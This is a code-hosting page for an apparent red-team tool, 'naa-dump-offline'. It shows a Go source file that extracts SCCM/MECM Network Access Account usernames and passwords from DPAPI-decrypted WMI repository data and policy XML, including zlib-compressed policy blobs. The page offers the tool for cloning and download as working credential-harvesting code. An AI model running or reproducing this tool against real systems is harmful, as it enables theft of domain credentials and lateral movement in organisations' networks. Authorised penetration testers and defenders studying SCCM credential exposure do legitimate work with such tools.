[SHEHZADE//ABDULLAH ANSARI]
Red Team Consultant @ Google | MS in Cybersecurity @ NYU
● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
Offline extractor and decryptor for SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk WMI repositories and DPAPI master keys.
$
git clone https://shehzade.io/repos/naa-dump-offline.git
Copy
Source ZIP (290.0 KB)
Prebuilt Binaries
162 lines · 4.0 KB
| 1 | package wmi |
| 2 | |
| 3 | import ( |
| 4 | "bytes" |
| 5 | "compress/zlib" |
| 6 | "encoding/hex" |
| 7 | "fmt" |
| 8 | "io" |
| 9 | "regexp" |
| 10 | "strings" |
| 11 | |
| 12 | "github.com/shehzade/naa-dump-offline/pkg/dpapi" |
| 13 | ) |
| 14 | |
| 15 | type NAACredential struct { |
| 16 | Username string `json:"username"` |
| 17 | Password string `json:"password"` |
| 18 | Source string `json:"source,omitempty"` |
| 19 | } |
| 20 | |
| 21 | type CarvedSecret struct { |
| 22 | Index int `json:"index"` |
| 23 | Offset int64 `json:"offset"` |
| 24 | MasterKeyGUID string `json:"masterkey_guid"` |
| 25 | Context string `json:"context"` |
| 26 | RawHex string `json:"-"` |
| 27 | DecryptedBytes []byte `json:"-"` |
| 28 | DecryptedText string `json:"decrypted_text,omitempty"` |
| 29 | IsEmpty bool `json:"is_empty"` |
| 30 | } |
| 31 | |
| 32 | var ( |
| 33 | cdataRegex = regexp.MustCompile(`<!\[CDATA\[([0-9A-Fa-f]{100,})\]\]>`) |
| 34 | xmlHexRe = regexp.MustCompile(`<!\[CDATA\[([0-9A-Fa-f]+)\]\]>`) |
| 35 | ) |
| 36 | |
| 37 | func DecompressZlib(hexPayload string) ([]byte, error) { |
| 38 | data, err := hex.DecodeString(strings.TrimSpace(hexPayload)) |
| 39 | if err != nil { |
| 40 | return nil, err |
| 41 | } |
| 42 | r, err := zlib.NewReader(bytes.NewReader(data)) |
| 43 | if err != nil { |
| 44 | return nil, err |
| 45 | } |
| 46 | defer r.Close() |
| 47 | return io.ReadAll(r) |
| 48 | } |
| 49 | |
| 50 | func ParseDecryptedPayload(data []byte) (string, bool) { |
| 51 | if len(data) == 0 || (len(data) <= 2 && bytes.Equal(data, []byte{0, 0})) { |
| 52 | return "", true |
| 53 | } |
| 54 | |
| 55 | text := dpapi.DecodeUTF16LE(data) |
| 56 | if text == "" { |
| 57 | text = strings.TrimRight(string(data), "\x00") |
| 58 | } |
| 59 | |
| 60 | return text, false |
| 61 | } |
| 62 | |
| 63 | func ExtractCredentialsFromSecrets(secrets []*CarvedSecret) []NAACredential { |
| 64 | credentials := []NAACredential{} |
| 65 | seen := make(map[string]bool) |
| 66 | |
| 67 | var potentialUsers []string |
| 68 | var potentialPasswords []string |
| 69 | |
| 70 | for _, s := range secrets { |
| 71 | if s.IsEmpty || s.DecryptedText == "" { |
| 72 | continue |
| 73 | } |
| 74 | |
| 75 | if strings.Contains(s.DecryptedText, "CCM_NetworkAccessAccount") { |
| 76 | extractFromXML(s.DecryptedText, &credentials, seen) |
| 77 | } |
| 78 | |
| 79 | if strings.Contains(s.DecryptedText, `Compression="zlib"`) { |
| 80 | matches := xmlHexRe.FindAllStringSubmatch(s.DecryptedText, -1) |
| 81 | for _, m := range matches { |
| 82 | decomp, err := DecompressZlib(m[1]) |
| 83 | if err == nil { |
| 84 | decompText := dpapi.DecodeUTF16LE(decomp) |
| 85 | if decompText == "" { |
| 86 | decompText = string(decomp) |
| 87 | } |
| 88 | extractFromXML(decompText, &credentials, seen) |
| 89 | } |
| 90 | } |
| 91 | } |
| 92 | |
| 93 | text := strings.TrimSpace(s.DecryptedText) |
| 94 | if !strings.HasPrefix(text, "<") && !strings.Contains(text, "\n") { |
| 95 | if strings.Contains(text, "\\") || strings.Contains(text, "@") { |
| 96 | potentialUsers = append(potentialUsers, text) |
| 97 | } else if len(text) > 0 && len(text) < 128 { |
| 98 | potentialPasswords = append(potentialPasswords, text) |
| 99 | } |
| 100 | } |
| 101 | } |
| 102 | |
| 103 | for _, u := range potentialUsers { |
| 104 | for _, p := range potentialPasswords { |
| 105 | key := fmt.Sprintf("%s:%s", u, p) |
| 106 | if !seen[key] { |
| 107 | seen[key] = true |
| 108 | credentials = append(credentials, NAACredential{ |
| 109 | Username: u, |
| 110 | Password: p, |
| 111 | Source: "OBJECTS.DATA", |
| 112 | }) |
| 113 | } |
| 114 | } |
| 115 | } |
| 116 | |
| 117 | return credentials |
| 118 | } |
| 119 | |
| 120 | func isLikelyHexCiphertext(s string) bool { |
| 121 | if len(s) < 32 { |
| 122 | return false |
| 123 | } |
| 124 | for _, c := range s { |
| 125 | if !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')) { |
| 126 | return false |
| 127 | } |
| 128 | } |
| 129 | return true |
| 130 | } |
| 131 | |
| 132 | func extractFromXML(xmlContent string, creds *[]NAACredential, seen map[string]bool) { |
| 133 | userRe := regexp.MustCompile(`name="NetworkAccessUsername"[^>]*>[\s\r\n]*<value>[\s\r\n]*<!\[CDATA\[([^\]]+)\]\]>`) |
| 134 | passRe := regexp.MustCompile(`name="NetworkAccessPassword"[^>]*>[\s\r\n]*<value>[\s\r\n]*<!\[CDATA\[([^\]]+)\]\]>`) |
| 135 | |
| 136 | userMatches := userRe.FindAllStringSubmatch(xmlContent, -1) |
| 137 | passMatches := passRe.FindAllStringSubmatch(xmlContent, -1) |
| 138 | |
| 139 | minLen := len(userMatches) |
| 140 | if len(passMatches) < minLen { |
| 141 | minLen = len(passMatches) |
| 142 | } |
| 143 | |
| 144 | for i := 0; i < minLen; i++ { |
| 145 | u := strings.TrimSpace(userMatches[i][1]) |
| 146 | p := strings.TrimSpace(passMatches[i][1]) |
| 147 | |
| 148 | if isLikelyHexCiphertext(u) || isLikelyHexCiphertext(p) { |
| 149 | continue |
| 150 | } |
| 151 | |
| 152 | key := fmt.Sprintf("%s:%s", u, p) |
| 153 | if !seen[key] && (u != "" || p != "") { |
| 154 | seen[key] = true |
| 155 | *creds = append(*creds, NAACredential{ |
| 156 | Username: u, |
| 157 | Password: p, |
| 158 | Source: "Policy XML", |
| 159 | }) |
| 160 | } |
| 161 | } |
| 162 | } |